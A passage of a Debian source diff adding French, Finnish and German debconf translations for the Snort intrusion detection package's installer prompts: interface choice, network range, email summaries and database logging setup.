+#~ "the question of which interface(s) should Snort listen on."
+#~ msgstr ""
+#~ "Une des interfaces que vous avez indiquées n'est pas valable (soit elle "
+#~ "n'existe pas sur le système soit elle n'est pas actuellement active). "
+#~ "Veuillez indiquer uniquement des interfaces valables."
+
+#~ msgid ""
+#~ "If you did not configure an interface then the package is trying to use "
+#~ "the default ('eth0') which does not seem to be valid in your system."
+#~ msgstr ""
+#~ "Si vous ne configurez pas d'interface, le paquet tentera d'utiliser "
+#~ "l'interface par défaut (« eth0 ») qui ne semble pas valable sur votre "
+#~ "système."
+
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Si vous changez l'ordre de vérification de Snort en « Pass|Alert|"
+#~ "Log » (faire passer, alerter puis journaliser), les règles seront "
+#~ "appliquées dans cet ordre plutôt que l'ordre habituel Alert->Pass->Log "
+#~ "(alerter, faire passer puis journaliser). Cela permet d'éviter à certains "
+#~ "l'utilisation d'arguments complexes de ligne de commande Berky Packet "
+#~ "Filter pour filtrer les alarmes reçues."
+
+#~ msgid ""
+#~ "This Snort installation provides a cron job that runs daily and "
+#~ "summarises the information of Snort logs to a selected email address. If "
+#~ "you want to disable this feature say 'no' here."
+#~ msgstr ""
+#~ "Le paquet de Snort permet d'utiliser une tâche quotidienne de cron qui "
+#~ "résume les informations contenues dans les journaux de Snort et l'envoie "
+#~ "à une adresse électronique donnée. Ne choisissez pas cette option si vous "
+#~ "ne voulez pas recevoir ces rapports."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "Une tâche quotidienne de cron générera un résumé de l'information des "
+#~ "journaux de Snort avec un script appelé « snort-stat ». Veuillez indiquer "
+#~ "le destinataire de ces courriels. Par défaut, ce sera le super-"
+#~ "utilisateur. Si vous conservez ce choix, veuillez vous assurer que les "
+#~ "courriels qui lui sont destinés sont redirigés vers un utilisateur qui "
+#~ "les lira effectivement."
+
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr ""
+#~ "Si vous souhaitez utiliser des options personnelles avec Snort, veuillez "
+#~ "les indiquer ici."
+
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Veuillez redémarrer Snort avec :\n"
+#~ " /etc/init.d/snort restart\n"
+#~ "afin que ce réglage soit pris en compte."
+
+#~ msgid ""
+#~ "Your Snort configuration is not correct and Snort will not be able to "
+#~ "start up normally. Please review your configuration and fix it. If you do "
+#~ "not do this, Snort package upgrades will probably break. To check which "
+#~ "error is being generated run '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (or point to an alternate configuration file if you are using "
+#~ "different files for different interfaces)"
+#~ msgstr ""
+#~ "Votre configuration de Snort est incorrecte, ce qui l'empêchera de "
+#~ "démarrer normalement. Veuillez la relire et la corriger. Dans le cas "
+#~ "contraire, les mises à niveau du paquet de Snort échoueront probablement. "
+#~ "Pour découvrir quelle est l'erreur, vous pouvez utiliser la commande « /"
+#~ "usr/sbin/snort -T -c /etc/snort/snort.conf » (au besoin en adaptant le "
+#~ "chemin vers le fichier de configuration si vous utilisez différents "
+#~ "fichiers pour différentes interfaces)."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "Cela ne doit être fait qu'une fois, à l'installation de snort-mysql. "
+#~ "Avant de continuer, assurez-vous d'avoir :\n"
+#~ "  - le nom d'hôte d'un serveur de bases de données MySQL (qui doit "
+#~ "accepter les connexions TCP de cette machine) ;\n"
+#~ "  - une base de données sur ce serveur ;\n"
+#~ "  - un nom d'utilisateur et un mot de passe pour accéder à cette base de "
+#~ "données.\n"
+#~ "Si vous n'avez pas l'ensemble de ces informations, vous pouvez refuser "
+#~ "ici et continuer avec une journalisation simple dans un fichier ou bien "
+#~ "corriger cela au préalable. Il vous sera toujours possible de mettre en "
+#~ "place la journalisation dans une base de données ultérieurement en "
+#~ "reconfigurant le paquet snort-mysql avec la commande « dpkg-reconfigure "
+#~ "snort-mysql »."
+
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr ""
+#~ "Veuillez indiquer un identifiant de connexion au serveur de bases de "
+#~ "données après avoir vérifié que cet utilisateur existe et qu'il possède "
+#~ "des droits d'écriture sur la base de données."
+
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr "Base de données existante indispensable pour les journaux de Snort"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "Cela ne doit être fait qu'une fois, à l'installation de snort-pgsql. "
+#~ "Avant de continuer, assurez-vous d'avoir :\n"
+#~ "  - le nom d'hôte d'un serveur de bases de données PostgreSQL (qui doit "
+#~ "accepter les connexions TCP de cette machine) ;\n"
+#~ "  - une base de données sur ce serveur ;\n"
+#~ "  - un nom d'utilisateur et un mot de passe pour accéder à cette base de "
+#~ "données.\n"
+#~ "Si vous n'avez pas l'ensemble de ces informations, vous pouvez refuser "
+#~ "ici et continuer avec une journalisation simple dans un fichier ou bien "
+#~ "corriger cela au préalable. Il vous sera toujours possible de mettre en "
+#~ "place la journalisation dans une base de données ultérieurement en "
+#~ "reconfigurant le paquet snort-pgsql avec la commande « dpkg-reconfigure "
+#~ "snort-pgsql »."
+
+#~ msgid "Your configuration file is deprecated"
+#~ msgstr "Fichier de configuration obsolète"
+
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "Snort a besoin d'une base de données configurée pour pouvoir démarrer. "
+#~ "Veuillez créer la structure de base de données APRÈS l'installation du "
+#~ "paquet :\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_pgsql.gz | psql -U <utilisateur> -h <hôte> -W <base de "
+#~ "données>\n"
+#~ "Vous devez indiquer les valeurs appropriées pour l'utilisateur, l'hôte et "
+#~ "le nom de la base de données. PostgreSQL vous demandera ensuite le mot de "
+#~ "passe."
--- snort-2.8.5.2.orig/debian/po/fi.po
+++ snort-2.8.5.2/debian/po/fi.po
@@ -0,0 +1,598 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: snort\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-28 07:39+0200\n"
+"Last-Translator: Esko Arajärvi <edu@iki.fi>\n"
+"Language-Team: debian-l10n-finnish@lists.debian.org <Finnish>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: FINLAND\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "käynnistettäessä järjestelmä"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "soitettaessa"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "manuaalinen"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Snortin käynnistystapa:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort voidaan käynnistää järjestelmän käynnistyksen yhteydessä, otettaessa "
+"verkkoyhteys pppd:llä tai manuaalisesti komennolla /usr/bin/snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Verkkoliitännät, joita Snortin tulisi kuunnella:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Tämä arvo on useimmiten �eth0�, mutta verkkoympäristöstä riippuen se saattaa "
+"olla muukin. Käytettäessä soittosarjayhteyttä �ppp0� saattaa olla sopivampi. "
+"(Katso komennon /sbin/ifconfig tulostetta.)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Tyypillisesti oletusreitti kulkee tämän liitännän kautta. Oletusreitin saa "
+"selville komennolla �/sbin/route -n� (etsi kohta �0.0.0.0�)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Usein käytetään myös liitäntää, jolla ei ole IP-osoitetta ja joka on "
+"asetettu tilaan, jossa kaikki nähdyt paketit otetaan vastaan (�promiscuous "
+"mode�). Valitse tällaisissa tapauksissa järjestelmän liitäntä, joka on "
+"fyysisesti kiinni tutkittavassa verkossa, valitse vastaanottotila myöhemmin "
+"ja varmista, että verkkoliikenne lähetetään tähän liitäntään (yhdistä se "
+"portit peilaavaan kytkimen liitäntään, keskittimeen tai muuhun monistimeen)."
+"\""
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Useampia liitäntöjä voidaan asettaa antamalla liitäntöjen nimet välilyönnein "
+"eroteltuina. Jokaiselle liitännälle voidaan tehdä omat asetukset."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Paikallisen verkon osoitealue:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Käytä CIDR-muotoa, esimerkiksi 192.168.1.0/24 256 IP-osoitteen "
+"määrittämiseksi tai 192.168.1.42/32 yhden määrittämiseksi. Useampi alue "
+"voidaan syöttää pilkuin eroteltuina (ilman välilyöntejä)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Jos Snort on asetettu käyttämään useampia liitäntöjä, se käyttää tätä arvoa "
+"niiden kaikkien HOME_NET-määritteenä."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr ""
+"Tulisiko Snortin asettaa liitäntä ottamaan vastaan vain sille tarkoitetut "
+"paketit?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"�Promiscuous mode�-tilan poistaminen käytöstä tarkoittaa, että Snort näkee "
+"vain paketit, jotka on lähetetty sen seuraamaan liitäntään. Tilan "
+"käyttäminen sallii Snortin tarkistaa kaikki verkkolohkon paketit, vaikka ne "
+"lähetettäisiinkin kahden muun koneen välillä."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Virheellinen liitäntä"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort yrittää käyttää liitäntää, jota ei ole olemassa tai joka ei ole "
+"toiminnassa. Joko se yrittää virheellisesti kuunnella oletusliitäntää �eth0� "
+"tai asettamasi liitäntä on virheellinen."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr ""
+"Tulisiko Snortin sääntöjen testausjärjestykseksi vaihtaa Pass|Alert|Log?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"Oletuksena Snortin sääntöjen testausjärjestys on Alert|Pass|log. Jos "
+"valitset tämän vaihtoehdon, järjestykseksi vaihdetaan Pass|Alert|Log, mikä "
+"saattaa helpottaa Snortin käyttöä joidenkin pakettiensuodatustyökalujen "
+"kanssa."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Tulisiko päivittäiset yhteenvedot lähettää sähköpostilla?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Päivittäiset Snortin lokien yhteenvedot voidaan lähettää annettuun "
+"sähköpostiosoitteeseen cron-työn avulla."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Valitse otetaanko tämä ominaisuus käyttöön."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Päivittäisten tilastosähköpostien vastaanottaja:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Anna sähköpostiosoite, johon päivittäiset Snortin lokien yhteenvedot tulisi "
+"lähettää."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Mukauttavat lisäasetukset:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Anna mahdolliset lisäasetukset, joita Snortin tulisi käyttää."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Varoituksen esiintymiskertojen vähimmäismäärä:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Anna vähimmäismäärä montako kertaa varoituksen tulee esiintyä ennen kuin se "
+"sisällytetään päivittäisiin tilastoihin."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Snort tulee käynnistää uudelleen"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Koska Snort on käynnistetty käsin, tulee komento �/etc/init.d/snort� ajaa "
+"muutosten ottamiseksi käyttöön."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Asetusvirhe"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"Snortin nykyiset asetukset ovat virheelliset ja estävät Snortin normaalin "
+"käynnistyksen. Tarkista ja korjaa ne."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Snortin asetustiedoston virheitä voidaan etsiä komennolla �/usr/sbin/snort -"
+"T -c <tiedosto>�."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Vanhentunut asetustiedosto"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Järjestelmä käyttää vanhentunutta asetustiedostoa (/etc/snort/snort.common."
+"parameters), joka on automaattisesti muunnettu asetustiedoston uuteen "
+"muotoon (sijaintiin /etc/default/snort)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Tarkista uudet asetukset ja poista vanha tiedosto. Ennen kuin tämä tehdään, "
+"alustuskomentosarja ei käytä uusia asetuksia, eikä tällöin saada käyttöön "
+"uudempien julkaisuiden parannuksia."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "Alustetaanko tietokanta snort-mysql:n lokeja varten?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Snortille ei ole asetettu tietokantaa, johon se voisi kirjoittaa lokia. "
+"Ennen kuin jatkat, varmista, että tiedät:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - palvelimen verkkonimen (palvelimen pitää sallia TCP-yhteydet\n"
+"   tältä koneelta)\n"
+" - tietokannan kyseisellä palvelimella\n"
+" - käyttäjätunnuksen ja salasanan tietokantaan"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Jos jokin näistä vaatimuksista ei täyty, älä valitse tätä vaihtoehtoa vaan "
+"käytä lokien kirjoittamista tavallisiin tiedostoihin."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Lokien tietokantaan kirjoittaminen voidaan asettaa myöhemmin ajamalla "
+"komento �dpkg-reconfigure -plow snort-mysql�."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Tietokantapalvelimen verkkonimi:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Anna sellaisen tietokantapalvelimen verkkonimi, joka sallii yhteydet tältä "
+"koneelta."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Tietokannan nimi:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Anna olemassa olevan tietokannan nimi, johon tietokantakäyttäjällä on "
+"kirjoitusoikeudet."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Tietokantayhteydessä käytettävä käyttäjätunnus:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Anna tietokantapalvelimen käyttäjätunnus, jolla on kirjoitusoikeudet "
+"tietokantaan."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Tietokantayhteyden salasana:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Anna salasana, jota käytetään otettaessa yhteys Snortin varoitustietokantaan."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Snortin tietokannan asetusten teko pakollista"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort tarvitsee asetetun tietokannan ennen kuin se voidaan käynnistää "
+"onnistuneesti. Tietokantarakenteen luomiseksi seuraavat komennot tulee ajaa "
+"sen jälkeen, kun tämä paketti on asennettu:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <tunnus> -h <kone> -p <tietokanta>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Täytä oikeat arvot kohtiin tunnus, kone ja tietokanta. MySQL pyytää tämän "
+"jälkeen salasanan."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr "Kun tietokannan rakenne on luotu, Snort täytyy käynnistää käsin."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "Alustetaanko tietokanta snort-pgsql:n lokeja varten?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"Lokien tietokantaan kirjoittaminen voidaan asettaa myöhemmin ajamalla "
+"komento �dpkg-reconfigure -plow snort-pgsql�."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <tunnus> -h <kone> -W <tietokanta>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Täytä oikeat arvot kohtiin tunnus, kone ja tietokannan nimi. PostgreSQL "
+"pyytää tämän jälkeen salasanan."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Vanhentunut asetustiedosto"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Snortin asetustiedostossa (/etc/snort/snort.conf) on käytetty valitsimia, "
+"jotka eivät enää ole käytössä tässä Snortin julkaisussa. Snortia ei voida "
+"käynnistää ilman kelvollista asetustiedostoa. Asetustiedosto voidaan joko "
+"korvata tämän paketin mukana tulleella tai se voidaan korjata käsin "
+"poistamalla vanhentuneet valitsimet."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"Asetustiedostosta löytyi seuraavat käytöstä poistetut valitsimet:\n"
+" ${DEB_CONFIG}."
+
+#~ msgid "You are running Snort manually"
+#~ msgstr "Snortia ajetaan manuaalisesti"
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "Asetuksissa on virhe"
--- snort-2.8.5.2.orig/debian/po/de.po
+++ snort-2.8.5.2/debian/po/de.po
@@ -0,0 +1,606 @@
+# translation of snort_2.7.0-10_de.po to German
+#
+#    Translators, if you are not familiar with the PO format, gettext
+#    documentation is worth reading, especially sections dedicated to
+#    this format, e.g. by running:
+#         info -n '(gettext)PO Files'
+#         info -n '(gettext)Header Entry'
+#    Some information specific to po-debconf are available at
+#            /usr/share/doc/po-debconf/README-trans
+#         or http://www.debian.org/intl/l10n/po-debconf/README-trans#
+#    Developers do not need to manually edit POT or PO files.
+#
+# Erik Schanze <eriks@debian.org>, 2004-2008.
+msgid ""
+msgstr ""
+"Project-Id-Version: snort_2.7.0-10_de\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-20 22:17+0200\n"
+"Last-Translator: Erik Schanze <eriks@debian.org>\n"
+"Language-Team: German <debian-l10n-german@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+"Plural-Forms:  nplurals=2; plural=(n != 1);\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "Systemstart"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "Einwahl"
+
+#. Type: select
+#. Choices
